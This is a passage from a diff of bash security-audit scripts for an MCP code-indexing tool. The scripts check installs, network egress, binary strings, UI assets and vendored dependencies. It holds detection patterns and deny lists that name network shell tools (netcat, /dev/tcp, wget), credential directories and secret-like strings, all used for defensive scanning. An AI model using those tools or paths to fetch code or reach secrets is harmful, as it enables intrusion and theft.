||||
# .config/*/mcp.json (or .mcp.json variants)
|
||||
# .claude/skills/*
|
||||
# .claude/settings.json
|
||||
# .continue/config.yaml
|
||||
# .codeium/config.json
|
||||
# .local/bin/codebase-memory-mcp
|
||||
# Various agent config dirs
|
||||
|
||||
EXPECTED_PATTERNS=(
|
||||
".claude/"
|
||||
".cursor/"
|
||||
".config/"
|
||||
".continue/"
|
||||
".codeium/"
|
||||
".windsurf/"
|
||||
".trae/"
|
||||
".aider/"
|
||||
".local/bin/"
|
||||
"AGENTS.md"
|
||||
"CONVENTIONS.md"
|
||||
".mcp.json"
|
||||
"mcp.json"
|
||||
".zshrc"
|
||||
".bashrc"
|
||||
".profile"
|
||||
)
|
||||
|
||||
while IFS= read -r filepath; do
|
||||
relpath="${filepath#"$HOME/"}"
|
||||
|
||||
matched=false
|
||||
for pattern in "${EXPECTED_PATTERNS[@]}"; do
|
||||
if [[ "$relpath" == *"$pattern"* ]]; then
|
||||
matched=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if ! $matched; then
|
||||
echo "REVIEW: Unexpected file created: $relpath"
|
||||
fi
|
||||
done < "$TMPDIR/created_files.txt"
|
||||
|
||||
# ── 3. Check for writes to sensitive paths ───────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Checking for sensitive path writes ---"
|
||||
|
||||
SENSITIVE_DIRS=(".ssh" ".gnupg" ".aws" ".kube" ".config/gcloud")
|
||||
|
||||
for dir in "${SENSITIVE_DIRS[@]}"; do
|
||||
if [[ -d "$HOME/$dir" ]]; then
|
||||
echo "BLOCKED: Install created sensitive directory: ~/$dir"
|
||||
FAIL=1
|
||||
fi
|
||||
done
|
||||
|
||||
# Also check install output for any references to sensitive paths
|
||||
for dir in "${SENSITIVE_DIRS[@]}"; do
|
||||
if grep -q "$dir" "$TMPDIR/install_output.txt" 2>/dev/null; then
|
||||
echo "BLOCKED: Install output references sensitive path: $dir"
|
||||
FAIL=1
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ $FAIL -eq 0 ]]; then
|
||||
echo "OK: No sensitive path writes detected."
|
||||
fi
|
||||
|
||||
# ── 4. Audit skill file content ──────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Auditing skill file content ---"
|
||||
|
||||
SKILLS_DIR="$HOME/.claude/skills"
|
||||
if [[ -d "$SKILLS_DIR" ]]; then
|
||||
SKILL_ISSUES=0
|
||||
|
||||
while IFS= read -r skill_file; do
|
||||
basename=$(basename "$skill_file")
|
||||
|
||||
# Check for dangerous patterns in skill content
|
||||
for pattern in 'system(' 'eval(' 'exec(' '__import__(' 'subprocess' 'os.popen'; do
|
||||
if grep -q "$pattern" "$skill_file" 2>/dev/null; then
|
||||
echo "BLOCKED: Skill '$basename' contains dangerous pattern: $pattern"
|
||||
SKILL_ISSUES=1
|
||||
FAIL=1
|
||||
fi
|
||||
done
|
||||
|
||||
# Check for unexpected URLs
|
||||
if grep -oE 'https?://[^\s"'"'"']+' "$skill_file" 2>/dev/null | grep -v 'github.com/DeusData' | grep -v 'localhost' | grep -v '127.0.0.1' > /tmp/sec_skill_urls 2>/dev/null; then
|
||||
while IFS= read -r url; do
|
||||
echo "REVIEW: Skill '$basename' contains URL: $url"
|
||||
done < /tmp/sec_skill_urls
|
||||
rm -f /tmp/sec_skill_urls
|
||||
fi
|
||||
|
||||
# Check for encoded strings (base64-like blocks > 50 chars)
|
||||
if grep -E '[A-Za-z0-9+/]{50,}={0,2}' "$skill_file" > /dev/null 2>&1; then
|
||||
echo "REVIEW: Skill '$basename' contains potential encoded content"
|
||||
fi
|
||||
done < <(find "$SKILLS_DIR" -type f -name '*.md')
|
||||
|
||||
if [[ $SKILL_ISSUES -eq 0 ]]; then
|
||||
echo "OK: Skill files contain no dangerous patterns."
|
||||
fi
|
||||
else
|
||||
echo "SKIP: No skills directory created."
|
||||
fi
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
if [[ $FAIL -ne 0 ]]; then
|
||||
echo "=== INSTALL OUTPUT AUDIT FAILED ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Install output audit passed ==="
|
||||
Executable
+107
@@ -0,0 +1,107 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 3: Network egress test — monitors outbound connections during MCP session.
|
||||
#
|
||||
# Runs a full MCP session (initialize → index → search → EOF) under strace
|
||||
# and verifies only expected connections are made.
|
||||
#
|
||||
# Linux only (strace required). macOS/Windows: skip with success.
|
||||
#
|
||||
# Usage: scripts/security-network.sh <binary-path>
|
||||
|
||||
BINARY="${1:?usage: security-network.sh <binary-path>}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Layer 3: Network Egress Test ==="
|
||||
|
||||
# Skip on non-Linux (no strace)
|
||||
if [[ "$(uname)" != "Linux" ]]; then
|
||||
echo "SKIP: strace not available on $(uname) — covered by binary string audit"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if ! command -v strace &>/dev/null; then
|
||||
echo "SKIP: strace not installed"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$TMPDIR"' EXIT
|
||||
|
||||
# Create a minimal test project
|
||||
mkdir -p "$TMPDIR/project/src"
|
||||
cat > "$TMPDIR/project/src/main.py" << 'EOF'
|
||||
def main():
|
||||
print("hello")
|
||||
EOF
|
||||
|
||||
# MCP session input (jsonrpc over stdio)
|
||||
cat > "$TMPDIR/input.jsonl" << JSONL
|
||||
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}
|
||||
{"jsonrpc":"2.0","method":"notifications/initialized"}
|
||||
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"$TMPDIR/project"}}}
|
||||
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"main"}}}
|
||||
JSONL
|
||||
|
||||
STRACE_LOG="$TMPDIR/strace.log"
|
||||
|
||||
echo "Running MCP session under strace..."
|
||||
|
||||
# Run binary with strace monitoring connect() syscalls
|
||||
# -f: follow forks, -e trace=connect: only log connect() calls
|
||||
timeout 30 strace -f -e trace=connect \
|
||||
"$BINARY" < "$TMPDIR/input.jsonl" \
|
||||
> "$TMPDIR/output.jsonl" 2> "$STRACE_LOG" || true
|
||||
|
||||
echo ""
|
||||
echo "--- Connection log ---"
|
||||
|
||||
FAIL=0
|
||||
|
||||
# Parse strace output for connect() calls with AF_INET (IPv4 network)
|
||||
# Format: connect(fd, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("x.x.x.x")}, ...)
|
||||
if grep 'sa_family=AF_INET' "$STRACE_LOG" > "$TMPDIR/connections.log" 2>/dev/null; then
|
||||
while IFS= read -r conn; do
|
||||
# Extract destination IP and port
|
||||
ip=$(echo "$conn" | grep -oP 'inet_addr\("\K[^"]+' || echo "unknown")
|
||||
port=$(echo "$conn" | grep -oP 'htons\(\K[0-9]+' || echo "0")
|
||||
|
||||
# Allowed connections:
|
||||
# - 127.0.0.1 (localhost, any port)
|
||||
# - DNS (port 53, any IP)
|
||||
# - api.github.com (140.82.x.x range, port 443) — update check
|
||||
case "$ip" in
|
||||
127.0.0.1|0.0.0.0)
|
||||
echo " OK: localhost:$port"
|
||||
;;
|
||||
*)
|
||||
if [[ "$port" == "53" ]]; then
|
||||
echo " OK: DNS lookup to $ip"
|
||||
elif [[ "$port" == "443" ]]; then
|
||||
echo " REVIEW: HTTPS to $ip:$port (expected: api.github.com for update check)"
|
||||
# This is expected — the binary checks for updates on startup
|
||||
else
|
||||
echo " BLOCKED: Unexpected connection to $ip:$port"
|
||||
FAIL=1
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
done < "$TMPDIR/connections.log"
|
||||
else
|
||||
echo " No outbound connections detected."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
if [[ $FAIL -ne 0 ]]; then
|
||||
echo "=== NETWORK EGRESS TEST FAILED ==="
|
||||
echo "Unexpected outbound connections detected. Full strace log:"
|
||||
grep 'connect(' "$STRACE_LOG" || true
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Network egress test passed ==="
|
||||
Executable
+126
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 2: Binary string audit — post-build check on the production binary.
|
||||
#
|
||||
# Scans extracted strings for:
|
||||
# 1. Unauthorized URLs (only github.com + localhost allowed)
|
||||
# 2. Suspiciously long base64-encoded payloads
|
||||
# 3. Dangerous command names (wget, nc, netcat, telnet, ssh, /dev/tcp)
|
||||
# 4. Credential patterns (password=, secret=, api_key=)
|
||||
#
|
||||
# Usage: scripts/security-strings.sh <binary-path>
|
||||
|
||||
BINARY="${1:?usage: security-strings.sh <binary-path>}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
FAIL=0
|
||||
|
||||
echo "=== Layer 2: Binary String Audit ==="
|
||||
echo "Binary: $BINARY"
|
||||
echo ""
|
||||
|
||||
# Check for strings command (needs binutils on some MSYS2 setups)
|
||||
if ! command -v strings &>/dev/null; then
|
||||
echo "SKIP: 'strings' command not available"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Extract all printable strings (min length 4)
|
||||
STRINGS_FILE=$(mktemp)
|
||||
SEC_CMDS=$(mktemp)
|
||||
SEC_CREDS=$(mktemp)
|
||||
trap 'rm -f "$STRINGS_FILE" "$SEC_CMDS" "$SEC_CREDS"' EXIT
|
||||
strings -n 4 "$BINARY" | sort -u > "$STRINGS_FILE"
|
||||
|
||||
# ── 1. URL audit ─────────────────────────────────────────────────
|
||||
|
||||
echo "--- URL audit ---"
|
||||
|
||||
# Allowed URL prefixes
|
||||
ALLOWED_URLS=(
|
||||
"https://api.github.com/repos/DeusData/codebase-memory-mcp"
|
||||
"https://github.com/DeusData/codebase-memory-mcp"
|
||||
"http://127.0.0.1"
|
||||
"http://localhost"
|
||||
# SQLite internal URLs (part of vendored sqlite3 strings)
|
||||
"https://sqlite.org"
|
||||
"https://www.sqlite.org"
|
||||
)
|
||||
|
||||
while IFS= read -r url; do
|
||||
allowed=false
|
||||
for prefix in "${ALLOWED_URLS[@]}"; do
|
||||
if [[ "$url" == "$prefix"* ]]; then
|
||||
allowed=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
if ! $allowed; then
|
||||
echo "BLOCKED: Unauthorized URL in binary: $url"
|
||||
FAIL=1
|
||||
fi
|
||||
done < <(grep -oE 'https?://[a-zA-Z0-9._/~:@!$&()*+,;=?#%[-]+' "$STRINGS_FILE" || true)
|
||||
|
||||
if [[ $FAIL -eq 0 ]]; then
|
||||
echo "OK: All URLs are authorized."
|
||||
fi
|
||||
|
||||
# ── 2. Base64 payload detection ──────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Base64 payload detection ---"
|
||||
|
||||
# Look for base64-like strings longer than 100 chars (potential encoded payloads)
|
||||
B64_COUNT=$(grep -cE '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" || true)
|
||||
if [[ "$B64_COUNT" -gt 0 ]]; then
|
||||
echo "WARNING: Found $B64_COUNT potential base64-encoded strings > 100 chars"
|
||||
grep -E '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" | head -5 | while IFS= read -r s; do
|
||||
echo " ${s:0:80}..."
|
||||
done
|
||||
# Warning only — tree-sitter grammar data can look like base64
|
||||
else
|
||||
echo "OK: No suspicious base64 payloads found."
|
||||
fi
|
||||
|
||||
# ── 3. Dangerous command detection ───────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Dangerous command detection ---"
|
||||
|
||||
DANGEROUS_CMDS='wget|netcat|ncat|/dev/tcp|telnet'
|
||||
if grep -wE "$DANGEROUS_CMDS" "$STRINGS_FILE" > "$SEC_CMDS" 2>/dev/null; then
|
||||
echo "BLOCKED: Dangerous commands found in binary:"
|
||||
cat "$SEC_CMDS"
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No dangerous commands found."
|
||||
fi
|
||||
|
||||
# ── 4. Credential pattern detection ──────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Credential pattern detection ---"
|
||||
|
||||
CRED_PATTERNS='password=|secret=|api_key=|apikey=|auth_token=|private_key='
|
||||
if grep -iE "$CRED_PATTERNS" "$STRINGS_FILE" > "$SEC_CREDS" 2>/dev/null; then
|
||||
echo "BLOCKED: Credential patterns found in binary:"
|
||||
cat "$SEC_CREDS"
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No credential patterns found."
|
||||
fi
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
if [[ $FAIL -ne 0 ]]; then
|
||||
echo "=== BINARY STRING AUDIT FAILED ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Binary string audit passed ==="
|
||||
Executable
+189
@@ -0,0 +1,189 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 6: Graph UI security audit.
|
||||
#
|
||||
# Audits:
|
||||
# A. Frontend asset scan (embedded JS/CSS/HTML or graph-ui/dist/)
|
||||
# B. HTTP server binding (must be 127.0.0.1 only)
|
||||
# C. RPC proxy scope (no system()/popen() in HTTP handler path)
|
||||
# D. CORS check (no wildcard Access-Control-Allow-Origin)
|
||||
#
|
||||
# Usage: scripts/security-ui.sh
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
FAIL=0
|
||||
|
||||
# Use mktemp for all temp files (cross-platform safe)
|
||||
SEC_TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$SEC_TMPDIR"' EXIT
|
||||
|
||||
echo "=== Layer 6: Graph UI Security Audit ==="
|
||||
|
||||
# ── A. Frontend asset scan ───────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- A. Frontend asset scan ---"
|
||||
|
||||
# Check both built dist and embedded asset source
|
||||
UI_DIRS=()
|
||||
[[ -d "$ROOT/graph-ui/dist" ]] && UI_DIRS+=("$ROOT/graph-ui/dist")
|
||||
[[ -d "$ROOT/graph-ui/src" ]] && UI_DIRS+=("$ROOT/graph-ui/src")
|
||||
|
||||
if [[ ${#UI_DIRS[@]} -eq 0 ]]; then
|
||||
echo "SKIP: No graph-ui directory found."
|
||||
else
|
||||
for UI_DIR in "${UI_DIRS[@]}"; do
|
||||
echo "Scanning: $UI_DIR"
|
||||
|
||||
# A1: No external domains in JS/CSS
|
||||
echo " Checking for external domains..."
|
||||
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.css' \) -exec grep -lE 'https?://' {} \; 2>/dev/null | head -20 > "$SEC_TMPDIR/urls"; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
# Check each URL — only localhost/127.0.0.1 allowed
|
||||
grep -onE 'https?://[^\s"'"'"')]+' "$file" 2>/dev/null | while IFS=: read -r lineno url; do
|
||||
case "$url" in
|
||||
http://localhost*|http://127.0.0.1*|https://localhost*|https://127.0.0.1*)
|
||||
;; # OK
|
||||
*)
|
||||
echo " BLOCKED: ${relfile}:${lineno}: External URL: $url"
|
||||
touch "$SEC_TMPDIR/fail_flag"
|
||||
;;
|
||||
esac
|
||||
done
|
||||
done < "$SEC_TMPDIR/urls"
|
||||
fi
|
||||
[[ -f "$SEC_TMPDIR/fail_flag" ]] && FAIL=1 && rm -f "$SEC_TMPDIR/fail_flag"
|
||||
|
||||
# A2: No external script/link loads in HTML
|
||||
echo " Checking for external script/link loads..."
|
||||
if find "$UI_DIR" -type f -name '*.html' -exec grep -lE '<script\s+src=|<link\s+href=' {} \; 2>/dev/null > "$SEC_TMPDIR/scripts"; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
if grep -nE '<script\s+src="https?://|<link\s+href="https?://' "$file" 2>/dev/null | grep -v 'localhost' | grep -v '127.0.0.1'; then
|
||||
echo " BLOCKED: ${relfile}: External script/link load detected"
|
||||
FAIL=1
|
||||
fi
|
||||
done < "$SEC_TMPDIR/scripts"
|
||||
fi
|
||||
|
||||
# A3: No tracking/analytics
|
||||
echo " Checking for tracking/analytics..."
|
||||
TRACKING='google-analytics|gtag|mixpanel|segment\.com|hotjar|sentry\.io|plausible|posthog'
|
||||
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.html' \) \
|
||||
-exec grep -lE "$TRACKING" {} \; 2>/dev/null > "$SEC_TMPDIR/track"; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
echo " BLOCKED: ${relfile}: Tracking/analytics reference found"
|
||||
grep -nE "$TRACKING" "$file" | head -3
|
||||
FAIL=1
|
||||
done < "$SEC_TMPDIR/track"
|
||||
fi
|
||||
|
||||
# A4: No hidden iframes
|
||||
echo " Checking for iframes..."
|
||||
if find "$UI_DIR" -type f -name '*.html' -exec grep -li '<iframe' {} \; 2>/dev/null > "$SEC_TMPDIR/iframe"; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
echo " BLOCKED: ${relfile}: iframe detected"
|
||||
FAIL=1
|
||||
done < "$SEC_TMPDIR/iframe"
|
||||
fi
|
||||
|
||||
# A5: No eval/Function constructor in JS
|
||||
echo " Checking for eval/Function constructor..."
|
||||
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
|
||||
-exec grep -nE '\beval\s*\(|new\s+Function\s*\(' {} \; 2>/dev/null | grep -v node_modules | grep -v '\.test\.' > "$SEC_TMPDIR/eval"; then
|
||||
while IFS= read -r match; do
|
||||
echo " REVIEW: eval/Function found: $match"
|
||||
done < "$SEC_TMPDIR/eval"
|
||||
fi
|
||||
|
||||
# A6: No WebSocket to external
|
||||
echo " Checking for external WebSocket connections..."
|
||||
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
|
||||
-exec grep -nE 'wss?://' {} \; 2>/dev/null | grep -v 'localhost' | grep -v '127.0.0.1' > "$SEC_TMPDIR/ws"; then
|
||||
while IFS= read -r match; do
|
||||
echo " BLOCKED: External WebSocket: $match"
|
||||
FAIL=1
|
||||
done < "$SEC_TMPDIR/ws"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
# ── B. HTTP server binding check ─────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- B. HTTP server binding check ---"
|
||||
|
||||
HTTP_SERVER="$ROOT/src/ui/http_server.c"
|
||||
if [[ -f "$HTTP_SERVER" ]]; then
|
||||
# Must bind to 127.0.0.1 only
|
||||
if grep -q '127\.0\.0\.1' "$HTTP_SERVER"; then
|
||||
echo "OK: Server binds to 127.0.0.1"
|
||||
else
|
||||
echo "BLOCKED: No 127.0.0.1 binding found in http_server.c"
|
||||
FAIL=1
|
||||
fi
|
||||
|
||||
# Must NOT bind to 0.0.0.0 or INADDR_ANY
|
||||
if grep -E '0\.0\.0\.0|INADDR_ANY|in6addr_any' "$HTTP_SERVER" | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
|
||||
echo "BLOCKED: Server may bind to all interfaces (0.0.0.0/INADDR_ANY found)"
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No 0.0.0.0/INADDR_ANY binding"
|
||||
fi
|
||||
else
|
||||
echo "SKIP: http_server.c not found"
|
||||
fi
|
||||
|
||||
# ── C. RPC proxy scope check ─────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- C. RPC proxy scope check ---"
|
||||
|
||||
if [[ -f "$HTTP_SERVER" ]]; then
|
||||
# The HTTP handler should not directly call system()/popen()
|
||||
# (fork/execl for indexing is allowed as it's tracked)
|
||||
if grep -n 'system(' "$HTTP_SERVER" | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
|
||||
echo "BLOCKED: system() call found in HTTP server (use subprocess instead)"
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No system() calls in HTTP handler"
|
||||
fi
|
||||
else
|
||||
echo "SKIP: http_server.c not found"
|
||||
fi
|
||||
|
||||
# ── D. CORS check ────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- D. CORS check ---"
|
||||
|
||||
if [[ -f "$HTTP_SERVER" ]]; then
|
||||
if grep -E 'Allow-Origin:\s*\*' "$HTTP_SERVER" | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
|
||||
echo "BLOCKED: CORS wildcard (Access-Control-Allow-Origin: *) found"
|
||||
echo " This allows any website to access the local server."
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No CORS wildcard found"
|
||||
fi
|
||||
|
||||
# Check that CORS reflects localhost origins
|
||||
if grep -q 'localhost' "$HTTP_SERVER" && grep -q 'update_cors\|Access-Control-Allow-Origin' "$HTTP_SERVER"; then
|
||||
echo "OK: CORS appears to validate localhost origins"
|
||||
fi
|
||||
else
|
||||
echo "SKIP: http_server.c not found"
|
||||
fi
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
if [[ $FAIL -ne 0 ]]; then
|
||||
echo "=== UI SECURITY AUDIT FAILED ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== UI security audit passed ==="
|
||||
Executable
+201
@@ -0,0 +1,201 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 8: Vendored dependency integrity — verifies vendored C sources match
|
||||
# checked-in checksums. Detects supply chain tampering of vendored libraries.
|
||||
#
|
||||
# Libraries covered: mimalloc, mongoose, sqlite3, tre, xxhash, yyjson
|
||||
#
|
||||
# Usage: scripts/security-vendored.sh
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
CHECKSUMS="$ROOT/scripts/vendored-checksums.txt"
|
||||
|
||||
if [[ ! -f "$CHECKSUMS" ]]; then
|
||||
echo "FAIL: checksums file not found: $CHECKSUMS"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Layer 8: Vendored Dependency Integrity ==="
|
||||
|
||||
# Detect shasum command (shasum on macOS, sha256sum on Linux)
|
||||
if command -v sha256sum &>/dev/null; then
|
||||
SHA_CMD="sha256sum"
|
||||
elif command -v shasum &>/dev/null; then
|
||||
SHA_CMD="shasum -a 256"
|
||||
else
|
||||
echo "SKIP: no sha256sum or shasum available"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
FAIL=0
|
||||
CHECKED=0
|
||||
MISSING=0
|
||||
|
||||
# Verify each file in the checksums list
|
||||
while IFS=' ' read -r expected_hash filepath; do
|
||||
# Skip empty lines
|
||||
[[ -z "$expected_hash" ]] && continue
|
||||
|
||||
# Strip the two-space separator from filepath (sha256sum format: "hash file")
|
||||
filepath="${filepath#"${filepath%%[![:space:]]*}"}"
|
||||
|
||||
full_path="$ROOT/$filepath"
|
||||
if [[ ! -f "$full_path" ]]; then
|
||||
echo "MISSING: $filepath"
|
||||
MISSING=$((MISSING + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
actual_hash=$($SHA_CMD "$full_path" | cut -d' ' -f1)
|
||||
CHECKED=$((CHECKED + 1))
|
||||
|
||||
if [[ "$actual_hash" != "$expected_hash" ]]; then
|
||||
echo "MISMATCH: $filepath"
|
||||
echo " expected: $expected_hash"
|
||||
echo " actual: $actual_hash"
|
||||
FAIL=1
|
||||
fi
|
||||
done < "$CHECKSUMS"
|
||||
|
||||
# Verify every vendored library directory has checksum coverage.
|
||||
# If someone adds a new vendored library, this forces them to register it.
|
||||
echo ""
|
||||
echo "--- Checking vendored library coverage ---"
|
||||
while IFS= read -r libdir; do
|
||||
libname=$(basename "$libdir")
|
||||
# Check if any file from this library is in the checksums
|
||||
if ! grep -q "vendored/${libname}/" "$CHECKSUMS" 2>/dev/null; then
|
||||
echo "BLOCKED: vendored/${libname}/ has NO checksum coverage"
|
||||
echo " Run: scripts/security-vendored.sh --update"
|
||||
FAIL=1
|
||||
fi
|
||||
done < <(find "$ROOT/vendored" -mindepth 1 -maxdepth 1 -type d | sort)
|
||||
|
||||
# Also check for unexpected NEW files in vendored/ that aren't in the checksums
|
||||
UNEXPECTED=0
|
||||
while IFS= read -r file; do
|
||||
relpath="${file#"$ROOT/"}"
|
||||
if ! grep -q "$relpath" "$CHECKSUMS" 2>/dev/null; then
|
||||
echo "NEW FILE: $relpath (not in checksums — run 'scripts/security-vendored.sh --update' to add)"
|
||||
UNEXPECTED=$((UNEXPECTED + 1))
|
||||
fi
|
||||
done < <(find "$ROOT/vendored" -type f \( -name '*.c' -o -name '*.h' \) | sort)
|
||||
|
||||
echo ""
|
||||
echo "Checked: $CHECKED files"
|
||||
[[ $MISSING -gt 0 ]] && echo "Missing: $MISSING files"
|
||||
[[ $UNEXPECTED -gt 0 ]] && echo "New (untracked): $UNEXPECTED files"
|
||||
|
||||
# Handle --update flag: regenerate checksums
|
||||
# ── Dangerous call scan: vendored code must not contain subprocess calls ───
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning vendored code for dangerous calls ---"
|
||||
|
||||
# Subprocess spawning: must not exist in ANY vendored library
|
||||
SUBPROCESS_FUNCS='[^a-z_]system\(|[^a-z]popen\(|[^a-z_]execl\(|[^a-z_]execv\(|[^a-z_]fork\('
|
||||
if grep -rn -E "$SUBPROCESS_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
|
||||
| grep -v 'indicating that a fork' > /dev/null 2>&1; then
|
||||
echo "BLOCKED: Subprocess calls found in vendored code:"
|
||||
grep -rn -E "$SUBPROCESS_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
|
||||
| grep -v 'indicating that a fork' | head -10
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: No subprocess calls (system/popen/exec/fork) in vendored code"
|
||||
fi
|
||||
|
||||
# Network calls: only allowed in mongoose (HTTP library)
|
||||
NETWORK_FUNCS='[^a-z_]connect\(|[^a-z_]socket\(|[^a-z_]sendto\(|[^a-z_]bind\('
|
||||
NON_MONGOOSE_NETWORK=$(grep -rn -E "$NETWORK_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
|
||||
| grep -v 'mongoose' | grep -v 'sqlite3.*bind()' || true)
|
||||
if [[ -n "$NON_MONGOOSE_NETWORK" ]]; then
|
||||
echo "BLOCKED: Network calls found outside mongoose:"
|
||||
echo "$NON_MONGOOSE_NETWORK" | head -10
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: Network calls only in mongoose (expected)"
|
||||
fi
|
||||
|
||||
# dlopen/LoadLibrary: only allowed in sqlite3 (extension loading) and mimalloc (Windows APIs)
|
||||
DYNLOAD_FUNCS='dlopen\(|LoadLibrary\('
|
||||
NON_SQLITE_DYNLOAD=$(grep -rn -E "$DYNLOAD_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
|
||||
| grep -v 'sqlite3' | grep -v 'mimalloc' || true)
|
||||
if [[ -n "$NON_SQLITE_DYNLOAD" ]]; then
|
||||
echo "BLOCKED: Dynamic library loading found outside sqlite3:"
|
||||
echo "$NON_SQLITE_DYNLOAD" | head -10
|
||||
FAIL=1
|
||||
else
|
||||
echo "OK: dlopen/LoadLibrary only in sqlite3 (blocked by authorizer at runtime)"
|
||||
fi
|
||||
|
||||
# Verify the dangerous call rules cover every vendored library.
|
||||
# Known safe: yyjson, xxhash, tre (pure computation, no OS interaction)
|
||||
# Known with exceptions: mongoose (network), sqlite3 (dlopen), mimalloc (LoadLibrary)
|
||||
# If a new library appears, the scan above already checks it — but this ensures
|
||||
# we've consciously evaluated each library.
|
||||
KNOWN_VENDORED="mimalloc mongoose sqlite3 tre xxhash yyjson"
|
||||
while IFS= read -r libdir; do
|
||||
libname=$(basename "$libdir")
|
||||
found=false
|
||||
for known in $KNOWN_VENDORED; do
|
||||
if [[ "$libname" == "$known" ]]; then
|
||||
found=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
if ! $found; then
|
||||
echo "BLOCKED: vendored/${libname}/ is not in the known vendored library list"
|
||||
echo " Evaluate it for dangerous calls, then add to KNOWN_VENDORED in this script."
|
||||
FAIL=1
|
||||
fi
|
||||
done < <(find "$ROOT/vendored" -mindepth 1 -maxdepth 1 -type d | sort)
|
||||
|
||||
# Also scan tree-sitter grammars (internal/cbm/vendored/) — 650MB, 20M lines.
|
||||
# Use fast fixed-string grep (-F) for each pattern to avoid slow regex on huge codebase.
|
||||
if [[ -d "$ROOT/internal/cbm/vendored" ]]; then
|
||||
GRAMMAR_FAIL=false
|
||||
